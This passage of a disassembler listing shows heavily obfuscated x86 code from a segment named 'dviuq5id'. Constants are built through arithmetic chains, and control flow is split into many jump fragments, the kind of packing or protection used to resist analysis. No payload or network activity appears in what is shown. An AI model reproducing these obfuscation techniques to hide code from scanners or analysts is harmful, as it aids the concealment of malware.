		test	al, al
		jz	loc_43E6C6
		jmp	loc_457D60
; END OF FUNCTION CHUNK	FOR sub_440898
; ---------------------------------------------------------------------------

loc_45652E:				; CODE XREF: dviuq5id:004431EAj
		add	eax, 1F6740F9h
		push	esi
		pushf
		push	2138F837h
		pop	esi
		and	esi, 78FC1F21h
		jmp	loc_43C056
; ---------------------------------------------------------------------------

loc_456547:				; CODE XREF: dviuq5id:0043FA14j
		jle	loc_44F8BF
		test	ecx, 0E5D57D3Ch
		jmp	loc_43BBF1
; ---------------------------------------------------------------------------

loc_456558:				; CODE XREF: dviuq5id:00450C22j
		sbb	esi, ebx
		jnz	loc_450402
		xchg	esi, [eax]
		jmp	loc_43D560

; =============== S U B	R O U T	I N E =======================================



sub_456567	proc near		; CODE XREF: dviuq5id:0043CF59p
					; dviuq5id:00455AD0j
		xchg	edx, [esp+0]
		pop	edx
		ror	eax, 17h
		mov	ds:dword_44DF10, eax
		retn
sub_456567	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4396BB

loc_456575:				; CODE XREF: sub_459194-E09Cj
					; sub_4396BB+1B9EAj
		rol	eax, 17h
		push	eax
		push	ecx
		jmp	loc_439CC3
; END OF FUNCTION CHUNK	FOR sub_4396BB
; ---------------------------------------------------------------------------
		push	ecx
		push	54C201BDh
		pop	ecx
		add	ecx, 70AFF87Ch
		jmp	loc_446698
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45A397

loc_456591:				; CODE XREF: sub_45A397:loc_439B28j
		jz	loc_43919C
		jmp	loc_45A25D
; END OF FUNCTION CHUNK	FOR sub_45A397
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AC6E

loc_45659C:				; CODE XREF: sub_44AC6E:loc_45254Cj
		rol	esi, 1Ch
		add	esi, 9AE22598h
		add	esi, ebp
		add	esi, 6FE5831Dh
		push	offset sub_4402CB
		jmp	nullsub_389
; END OF FUNCTION CHUNK	FOR sub_44AC6E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4556AE

loc_4565B7:				; CODE XREF: sub_4556AE-16842j
		adc	eax, 0D9A16E80h

loc_4565BD:				; CODE XREF: sub_457574:loc_4559E2j
		jmp	loc_454295
; END OF FUNCTION CHUNK	FOR sub_4556AE

; =============== S U B	R O U T	I N E =======================================



sub_4565C2	proc near		; DATA XREF: sub_43FDFB+113o
		lea	eax, loc_440802+2
		push	eax
		push	esi
		mov	esi, eax
		push	offset sub_454362
		jmp	nullsub_415
sub_4565C2	endp

; ---------------------------------------------------------------------------

loc_4565D6:				; DATA XREF: sub_43AE92+13CC9o
		add	edx, 2DF42087h
		add	edx, ebp
		add	edx, 2E075549h
		mov	edx, [edx]
		call	sub_43E828
; START	OF FUNCTION CHUNK FOR sub_43B3A0

loc_4565EB:				; CODE XREF: sub_43B3A0+3j
		jmp	loc_44A973
; END OF FUNCTION CHUNK	FOR sub_43B3A0
; ---------------------------------------------------------------------------

loc_4565F0:				; CODE XREF: dviuq5id:0044FA53j
		xchg	eax, [esp]
		jmp	loc_44A56C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C07B

loc_4565F8:				; CODE XREF: sub_44C07B-8972j
		add	edx, 87EDB22h
		xchg	edx, [esp+4+var_4]
		jmp	sub_453642
; END OF FUNCTION CHUNK	FOR sub_44C07B
; ---------------------------------------------------------------------------
		sbb	edi, ecx
		jo	loc_43B9E8
		jmp	sub_44084F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446A9C

loc_456613:				; CODE XREF: sub_446A9C+4A25j
		js	loc_445AD3
		add	esi, edi
		pop	ebx

loc_45661C:				; CODE XREF: sub_446A9C:loc_43E138j
		mov	eax, [ebp-10h]
		mov	[ebp-24h], eax
		call	sub_44CBA2

loc_456627:				; CODE XREF: dviuq5id:0045911Aj
		jmp	nullsub_243
; END OF FUNCTION CHUNK	FOR sub_446A9C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454094

loc_45662C:				; CODE XREF: sub_454094+A24j
		jmp	loc_447D74
; END OF FUNCTION CHUNK	FOR sub_454094
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447E22

loc_456631:				; CODE XREF: sub_447E22+Aj
		jmp	loc_443EFA
; END OF FUNCTION CHUNK	FOR sub_447E22
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439615

loc_456636:				; CODE XREF: sub_439615+1j
		cdq
		and	ebx, edi
		mov	ecx, 0BE3D8715h
		and	ebp, 82F33BFAh
		jmp	loc_444333
; END OF FUNCTION CHUNK	FOR sub_439615
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B99E

loc_456649:				; CODE XREF: sub_44B99E+2j
		sub	al, 99h
		jmp	loc_44E759
; END OF FUNCTION CHUNK	FOR sub_44B99E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_458330

loc_456650:				; CODE XREF: sub_458330+DCCj
		add	eax, 0AED28067h
		mov	eax, [eax]
		call	sub_440A7F
		push	ecx
		push	0A36DC8B3h
		pop	ecx
		jmp	loc_448525
; END OF FUNCTION CHUNK	FOR sub_458330
; ---------------------------------------------------------------------------

loc_456669:				; CODE XREF: dviuq5id:0043C010j
		xchg	ebp, ebx
		pop	ebp
		jl	loc_43D47F
		xor	eax, ebx
; START	OF FUNCTION CHUNK FOR sub_441DAE

loc_456674:				; CODE XREF: sub_441DAE:loc_43BFFFj
		add	eax, 4CE7E618h
		jmp	loc_459560
; END OF FUNCTION CHUNK	FOR sub_441DAE
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_247. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4492F0

loc_456680:				; CODE XREF: sub_4492F0+CEFCj
		jmp	loc_446777
; END OF FUNCTION CHUNK	FOR sub_4492F0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_453642

loc_456685:				; CODE XREF: sub_453642-100EAj
		mov	[edx], ecx
		and	edx, ebp
		rol	eax, 1
; END OF FUNCTION CHUNK	FOR sub_453642

; =============== S U B	R O U T	I N E =======================================



sub_45668B	proc near		; CODE XREF: sub_453642:loc_44B987j

var_4		= dword	ptr -4

		push	ebx
		mov	ebx, eax
		xchg	ebx, [esp+4+var_4]
		lea	eax, loc_43C4A8
		jmp	loc_458C95
sub_45668B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CBD5

loc_45669C:				; CODE XREF: sub_43CBD5+9940j
		adc	edi, 465A14DEh
		test	edx, ecx
		jmp	loc_450D40
; END OF FUNCTION CHUNK	FOR sub_43CBD5

; =============== S U B	R O U T	I N E =======================================



sub_4566A9	proc near		; CODE XREF: sub_40D06E+40p
					; sub_410B0B+2Dp ...
		push	ebx
		push	0D4A1166Ch
		pop	ebx
		sub	ebx, 22B875FFh

loc_4566B6:				; CODE XREF: sub_443AC1+C833j
		and	ebx, 0AED12A5Dh
		add	ebx, 0EE2F77C2h
		and	ebx, 89B753A4h
		add	ebx, 779CEA9Eh
		jmp	loc_44EE8E
sub_4566A9	endp

; ---------------------------------------------------------------------------

loc_4566D3:				; CODE XREF: dviuq5id:0045A0A2j
		jge	loc_4404EE
		or	edx, 8F42BFD0h
		jno	loc_446BD6
		jmp	loc_4404EE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4499A3

loc_4566EA:				; CODE XREF: sub_4499A3+10j
		jz	loc_452033
		jmp	loc_44C9DE
; END OF FUNCTION CHUNK	FOR sub_4499A3
; ---------------------------------------------------------------------------

loc_4566F5:				; CODE XREF: dviuq5id:loc_4531FDj
		xchg	ebx, [esp]
		jmp	sub_44E3BA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450407

loc_4566FD:				; CODE XREF: sub_450407:loc_44CF45j
					; dviuq5id:0044CF66j
		rol	edi, 11h
		sub	edi, 0F257D34Bh
		xor	edi, 0D6C63685h
		xor	eax, edi
		pop	edi
		push	edi
		jmp	loc_457C79
; END OF FUNCTION CHUNK	FOR sub_450407
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E1C0

loc_456715:				; CODE XREF: sub_44E1C0:loc_450F76j
		push	0A90DC811h
		pop	edx
		rol	edx, 12h
		add	edx, 5DCA9440h
		and	edx, 22C84048h
		push	offset loc_43FB96
		jmp	loc_45293D
; END OF FUNCTION CHUNK	FOR sub_44E1C0

; =============== S U B	R O U T	I N E =======================================



sub_456734	proc near		; DATA XREF: dviuq5id:00439668o

; FUNCTION CHUNK AT 00439269 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0043C990 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00441EDC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00441F2A SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00444BA7 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0044BAE8 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0045498E SIZE 0000000B BYTES

		push	8F2F9B6Bh
		pop	ecx
		sub	ecx, 22EE338h
		test	ecx, 1
		jmp	loc_45498E
sub_456734	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_45674B:				; CODE XREF: dviuq5id:00445563j
		jb	loc_44AD75

; =============== S U B	R O U T	I N E =======================================



sub_456751	proc near		; CODE XREF: sub_443CFF+BEE2p

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00456E9A SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0045966B SIZE 00000018 BYTES

		xchg	ecx, [esp+0]
		pop	ecx

loc_456755:				; CODE XREF: sub_44D022:loc_447BE9j
		xchg	edi, [esp-4+arg_0]
		push	esi
		push	0B84E922Eh
		jmp	loc_45966B
sub_456751	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		call	sub_439AA6
; START	OF FUNCTION CHUNK FOR sub_44646F

loc_456768:				; CODE XREF: sub_44646F:loc_458F25j
		and	esi, ebx
		test	ecx, 3A8900E2h
		jmp	loc_43A89B
; END OF FUNCTION CHUNK	FOR sub_44646F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4592D7

loc_456775:				; CODE XREF: sub_4592D7+7j
		mov	eax, [esp+4+var_4]
		call	sub_45031E
; END OF FUNCTION CHUNK	FOR sub_4592D7
; START	OF FUNCTION CHUNK FOR sub_4534EE

loc_45677D:				; CODE XREF: sub_4534EE+Dj
		jmp	nullsub_244
; END OF FUNCTION CHUNK	FOR sub_4534EE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45169D

loc_456782:				; CODE XREF: sub_45169D-DA3Cj
		jmp	loc_44C615
; END OF FUNCTION CHUNK	FOR sub_45169D
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_281. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_458B23

loc_456788:				; CODE XREF: sub_458B23-274Aj
		jmp	loc_45766E
; END OF FUNCTION CHUNK	FOR sub_458B23
; ---------------------------------------------------------------------------
		db 34h,	16h, 7Ch
dword_456790	dd 0			; DATA XREF: dviuq5id:loc_43D6F3r
					; sub_446DD8+6477w
; ---------------------------------------------------------------------------

loc_456794:				; CODE XREF: dviuq5id:0044540Bj
		jmp	locret_43AEB9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FDFB

loc_456799:				; CODE XREF: sub_43FDFB+118j
		jmp	nullsub_245
; END OF FUNCTION CHUNK	FOR sub_43FDFB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459385

loc_45679E:				; CODE XREF: sub_459385-1D35Ej
		jmp	loc_442BEF
; END OF FUNCTION CHUNK	FOR sub_459385
; ---------------------------------------------------------------------------
		db 65h
dword_4567A4	dd 342411E9h, 19714666h, 68008DC6h, 4483E7h, 0FFC15EE9h
					; DATA XREF: dviuq5id:0043DF31o
					; sub_43BA0E+18E9Ao
		db 0FFh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449948

loc_4567B9:				; CODE XREF: sub_449948+14j
		xor	edx, 88C0597Bh
		or	edx, 0ABC66989h
		add	edx, 44011678h

loc_4567CB:				; CODE XREF: sub_442913:loc_4489F9j
		popf
		jmp	loc_450846
; END OF FUNCTION CHUNK	FOR sub_449948
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43AE68

loc_4567D1:				; CODE XREF: sub_43AE68:loc_4392A7j
					; dviuq5id:loc_4405FCj
		push	edx
		push	11FCF855h
		pop	edx
		rol	edx, 12h
		and	edx, 31823C53h
		xor	edx, 0C8C3A041h
		add	edx, 0B684951Bh
		sub	eax, edx
		jmp	loc_451582
; END OF FUNCTION CHUNK	FOR sub_43AE68
; ---------------------------------------------------------------------------

loc_4567F4:				; CODE XREF: dviuq5id:0043F2FEj
		and	edx, ecx

loc_4567F6:				; CODE XREF: dviuq5id:loc_43F2F1j
		and	eax, 926D9EA2h
		xor	eax, 2ED08DB8h
		cmp	eax, 76395C40h
		jmp	loc_4393A5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4525D0

loc_45680D:				; CODE XREF: sub_4525D0-72AEj
		jns	loc_43E4BC
		jmp	loc_442092
; END OF FUNCTION CHUNK	FOR sub_4525D0
; ---------------------------------------------------------------------------

loc_456818:				; CODE XREF: dviuq5id:loc_4406C8j
		jz	loc_45886C
		jmp	loc_444FFA
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_406. PRESS KEYPAD	"+" TO EXPAND]
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_308. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_456825:				; CODE XREF: dviuq5id:00458D18j
		jmp	loc_4568AD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441B05

loc_45682A:				; CODE XREF: sub_441B05+4BD4j
		jmp	loc_43B08B
; END OF FUNCTION CHUNK	FOR sub_441B05
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44ABE0

loc_45682F:				; CODE XREF: sub_44ABE0-BC7Bj
		jmp	sub_444F0F
; END OF FUNCTION CHUNK	FOR sub_44ABE0
; ---------------------------------------------------------------------------
		ja	loc_452501
		jmp	sub_4557A6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4574E7

loc_45683F:				; CODE XREF: sub_4574E7:loc_44E30Aj
		test	al, al
		jz	nullsub_276
		jmp	loc_44D88D
; END OF FUNCTION CHUNK	FOR sub_4574E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BD0B

loc_45684C:				; CODE XREF: sub_44BD0B:loc_44DCA6j
					; dviuq5id:0044DCBEj
		and	eax, 0F326BA8Ah
		add	eax, 0F01F22F2h
		xchg	eax, [esp+4+var_4]
		jmp	sub_453642
; END OF FUNCTION CHUNK	FOR sub_44BD0B
; ---------------------------------------------------------------------------

loc_456860:				; CODE XREF: dviuq5id:loc_44793Dj
		or	ebx, 0CBA1F4D9h
		sub	ebx, 0E4307EE8h
		push	offset loc_4542F6
		jmp	locret_449233
; ---------------------------------------------------------------------------
		test	ebp, 9C62056Bh
		jmp	loc_44C142
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_455682

loc_456881:				; CODE XREF: sub_455682-1A0BCj
		shr	ecx, 9
		or	eax, edx
		jmp	loc_44851B
; END OF FUNCTION CHUNK	FOR sub_455682
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4525D0

loc_45688B:				; CODE XREF: sub_4525D0-135CDj
		jz	loc_455A9A
		jmp	loc_458B2E
; END OF FUNCTION CHUNK	FOR sub_4525D0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BA0E

loc_456896:				; CODE XREF: sub_43BA0E+4183j
		jz	loc_442495
		adc	esi, 25671BA4h
		jge	loc_441B4D
		jmp	loc_44248C
; END OF FUNCTION CHUNK	FOR sub_43BA0E
; ---------------------------------------------------------------------------

loc_4568AD:				; CODE XREF: dviuq5id:loc_456825j
		rol	edi, 16h
		xor	edi, 77C765A4h
		add	edi, 0C6676E95h
		xchg	edi, [esp]
		jmp	sub_43938B
; ---------------------------------------------------------------------------

loc_4568C4:				; DATA XREF: dviuq5id:004573F6o
		add	edi, 23D591DEh
		xchg	edi, [esp]
		jmp	loc_44AD28
; ---------------------------------------------------------------------------
		shr	esi, 14h
		jmp	sub_444E1A
; ---------------------------------------------------------------------------

loc_4568DA:				; DATA XREF: sub_4571A7:loc_4525F3o
		xchg	ecx, [esp]
		mov	ebp, esp
		push	ecx
		mov	[ebp-4], eax
		mov	eax, [ebp-4]
		mov	al, [eax]
		push	offset sub_4393C3
		jmp	loc_45851D
; ---------------------------------------------------------------------------

loc_4568F2:				; DATA XREF: sub_450F3F:loc_44E0A4o
		add	ecx, 0A03BB76Eh
		call	sub_4528FF
; START	OF FUNCTION CHUNK FOR sub_4486F9

loc_4568FD:				; CODE XREF: sub_4486F9+9B77j
		jmp	loc_45836A
; END OF FUNCTION CHUNK	FOR sub_4486F9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C07B

loc_456902:				; CODE XREF: sub_44C07B:loc_43E21Ej
		add	edi, 124605ADh
		xchg	edi, [esp+4+var_4]
		jmp	sub_43A101
; END OF FUNCTION CHUNK	FOR sub_44C07B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B2EA

loc_456910:				; CODE XREF: sub_44B2EA-B99Dj
		sub	ebp, 2B8D1254h
		shl	ecx, 0Dh
		test	edx, eax
		jmp	loc_43B32A
; END OF FUNCTION CHUNK	FOR sub_44B2EA
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_185. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A8E0

loc_456921:				; CODE XREF: sub_44A8E0+6j
		mov	[ebp+var_1], al
		cmp	[ebp+var_1], 0
		jz	loc_4426D3
		mov	[ebp+var_8], 1

loc_456935:				; CODE XREF: sub_44A8E0-8208j
					; sub_44A8C4:loc_454B9Cj
		mov	eax, [ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	loc_4426CC
; END OF FUNCTION CHUNK	FOR sub_44A8E0
; ---------------------------------------------------------------------------
		ror	edx, 8
		jmp	loc_44BB29
; ---------------------------------------------------------------------------

loc_456947:				; CODE XREF: dviuq5id:0044321Dj
		and	edx, 2E9C8725h
		sub	edx, 0C0619D29h
		rol	edx, 3
		push	offset sub_439E0C
		jmp	loc_44D844
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448154

loc_456960:				; CODE XREF: sub_448154:loc_44FEF3j
		jnz	loc_44E122
		jmp	loc_43A6F9
; END OF FUNCTION CHUNK	FOR sub_448154
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_142. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_45696C:				; CODE XREF: dviuq5id:0043D8C4j
		jmp	loc_440022
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447ECD

loc_456971:				; CODE XREF: sub_447ECD:loc_43D600j
					; sub_447ECD-39C2j
		call	sub_456F43
		push	0A3D90C13h
		pop	edx
		and	edx, 202A17FFh
		add	edx, 87E7E937h
		sub	edx, 77716816h
		add	edx, 478EC340h
		xor	edx, 0B1005031h
		jmp	loc_44319D
; END OF FUNCTION CHUNK	FOR sub_447ECD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4393C3

loc_45699F:				; CODE XREF: sub_4393C3:loc_446460j
		test	edx, 1000000h
		jmp	loc_45458B
; END OF FUNCTION CHUNK	FOR sub_4393C3
; ---------------------------------------------------------------------------
		push	edx
		push	0CEE1413Dh
		pop	edx
		sub	edx, 7A544D0Ch
		add	edx, 0C96BAE19h
; START	OF FUNCTION CHUNK FOR sub_445110

loc_4569BD:				; CODE XREF: sub_445110:loc_43C2A3j
		jmp	loc_453F95
; END OF FUNCTION CHUNK	FOR sub_445110
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454142

loc_4569C2:				; CODE XREF: sub_454142-15549j
		js	loc_43CF19
		add	ebx, 0AFB5C364h
; END OF FUNCTION CHUNK	FOR sub_454142
; START	OF FUNCTION CHUNK FOR sub_43FA59

loc_4569CE:				; CODE XREF: sub_43FA59+1C36j
					; sub_43FA59+8376j ...
		jns	loc_44BF3E
		cmp	dword ptr [ebp-4], 3
		jnz	loc_44E54B
		jmp	loc_450D12
; END OF FUNCTION CHUNK	FOR sub_43FA59
; ---------------------------------------------------------------------------

loc_4569E3:				; CODE XREF: dviuq5id:loc_45937Bj
		jnz	loc_44DBC6
		jmp	loc_44D200
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448154

loc_4569EE:				; CODE XREF: sub_448154-CD12j
		pop	ebx
		mov	eax, 1
		shl	eax, cl
		mov	edx, [ebp+var_14]
		shr	edx, 3
		push	95BF9AFh
		xchg	esi, [esp+0]
		jmp	loc_442F6B
; END OF FUNCTION CHUNK	FOR sub_448154
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450519

loc_456A09:				; CODE XREF: sub_450519:loc_450CDAj
		sub	edx, esi
		jmp	loc_452645
; END OF FUNCTION CHUNK	FOR sub_450519
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45002A

loc_456A10:				; CODE XREF: sub_45002A-8785j
		xor	edx, ebp
		add	ecx, 0E23CE85Dh
		jbe	loc_459888

loc_456A1E:				; CODE XREF: sub_443F7F:loc_43A437j
		lea	edx, [ebp-14h]
		jmp	loc_447765
; END OF FUNCTION CHUNK	FOR sub_45002A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441F76

loc_456A26:				; CODE XREF: sub_4525D0-8521j
					; sub_441F76+14B5Fj
		jl	loc_446857

loc_456A2C:				; CODE XREF: sub_45A3B5+Dj
		jmp	loc_45A3CD
; END OF FUNCTION CHUNK	FOR sub_441F76
; ---------------------------------------------------------------------------

loc_456A31:				; CODE XREF: dviuq5id:00448EEAj
		jmp	loc_43A50A
; ---------------------------------------------------------------------------
		xchg	edx, [ecx]
		jmp	loc_44301C
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_158. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440B69

loc_456A3E:				; CODE XREF: sub_440B69+13j
		jmp	loc_44904E
; END OF FUNCTION CHUNK	FOR sub_440B69

; =============== S U B	R O U T	I N E =======================================



sub_456A43	proc near		; DATA XREF: sub_44226E+F8A0o

var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043D0C6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00441F98 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00443B40 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00444122 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00444BDA SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00449998 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044B682 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0044BF92 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0044F30C SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00455855 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00458FE3 SIZE 00000010 BYTES

		mov	eax, 1
		shl	eax, cl
		jns	loc_458FE3
		and	edx, eax
		setnz	byte ptr [ebp-5]
		call	sub_4402E1

loc_456A5B:				; CODE XREF: sub_449B5B+A566j
		jmp	loc_443B40
sub_456A43	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439013

loc_456A60:				; CODE XREF: sub_439013:loc_43D0B4j
					; sub_443F7F+43D7j
		jz	loc_443B61
		jmp	loc_44C6E8
; END OF FUNCTION CHUNK	FOR sub_439013
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FAE1

loc_456A6B:				; CODE XREF: sub_43FAE1+BE5Bj
		pop	ebx
		rol	ebx, 0Fh
		and	ebx, 5AD18624h
		xor	ebx, ds:4000F6h
		or	ebx, 8FEFB4F1h
		cmp	ebx, 375A329Bh
		jmp	loc_455A4A
; END OF FUNCTION CHUNK	FOR sub_43FAE1
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------

loc_456A8D:				; CODE XREF: dviuq5id:0043C889j
		jmp	loc_43A20B
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_34. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_456A93:				; CODE XREF: dviuq5id:004462DCj
		jmp	nullsub_510
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4559CE

loc_456A98:				; CODE XREF: sub_4559CE-19F8Dj
		jmp	loc_455523
; END OF FUNCTION CHUNK	FOR sub_4559CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454094

loc_456A9D:				; CODE XREF: sub_454094-1426Dj
					; sub_454094+11j
		call	sub_43938B
		test	al, al
		jz	loc_442BD2
		jmp	loc_441622
; END OF FUNCTION CHUNK	FOR sub_454094
; ---------------------------------------------------------------------------

locret_456AAF:				; CODE XREF: dviuq5id:004526A2j
		retn
; ---------------------------------------------------------------------------

loc_456AB0:				; CODE XREF: dviuq5id:004418C4j
		mov	ebx, eax
		not	ebp
; START	OF FUNCTION CHUNK FOR sub_44C4E2

loc_456AB4:				; CODE XREF: sub_44C4E2+17j
		xor	esi, 0E60A21F7h
		add	esi, 5FA94DC7h
		call	sub_4408ED

loc_456AC5:				; CODE XREF: sub_440EC1+181F7j
		jmp	loc_44A98D
; END OF FUNCTION CHUNK	FOR sub_44C4E2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440898

loc_456ACA:				; CODE XREF: sub_440898+BFE7j
		jmp	loc_4555C1
; END OF FUNCTION CHUNK	FOR sub_440898
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441F76

loc_456ACF:				; CODE XREF: sub_441F76:loc_44905Dj
		jle	loc_43E9D2
		jnb	loc_456A26
		sbb	ebx, ebp
		jp	loc_455B5A
		jmp	loc_44ECFD
; END OF FUNCTION CHUNK	FOR sub_441F76
; ---------------------------------------------------------------------------

loc_456AE8:				; CODE XREF: dviuq5id:00453EE9j
		jo	loc_44660B
		test	ebx, 4C50590Bh
		jmp	loc_455A6A
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_37. PRESS	KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_456AFA	proc near		; DATA XREF: sub_459385:loc_44D2FFo
		xor	eax, 0F323AAF5h
		add	eax, ebp
		add	eax, 870F2C2Ah
		mov	eax, [eax]
		popf
		push	offset loc_43FD0A
		jmp	nullsub_250
sub_456AFA	endp

; ---------------------------------------------------------------------------

loc_456B15:				; CODE XREF: dviuq5id:0043E697j
		cmp	ecx, ebx
		jmp	loc_458AEB
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_351. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_456B24

loc_456B1D:				; CODE XREF: sub_456B24-5C27j
		jmp	nullsub_251
; END OF FUNCTION CHUNK	FOR sub_456B24
; ---------------------------------------------------------------------------

loc_456B22:				; CODE XREF: dviuq5id:0043971Fj
		mov	ecx, edx

; =============== S U B	R O U T	I N E =======================================



sub_456B24	proc near		; CODE XREF: sub_4489E1:loc_457655p

; FUNCTION CHUNK AT 00450EF8 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00456B1D SIZE 00000005 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		test	byte ptr [ebp-8], 40h
		jmp	loc_450EF8
sub_456B24	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_456B31	proc near		; DATA XREF: sub_44A58Co

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00439AFC SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00439EEE SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043BD0B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043C3F1 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043ED33 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0043F502 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 004428EB SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044461A SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0044589D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0044F44D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0045A126 SIZE 00000005 BYTES

		jb	loc_43ED3C
		push	0AAFB374Ch
		pop	edx
		or	edx, 9E4E7095h
		and	edx, 378F7921h
		rol	edx, 6
		jb	loc_444620
		cdq
		jmp	loc_44589D
sub_456B31	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432C4

loc_456B58:				; CODE XREF: sub_4432C4:loc_4432CFj
		push	esi
		mov	esi, eax
		xchg	esi, [esp+0]
		call	sub_4512BC
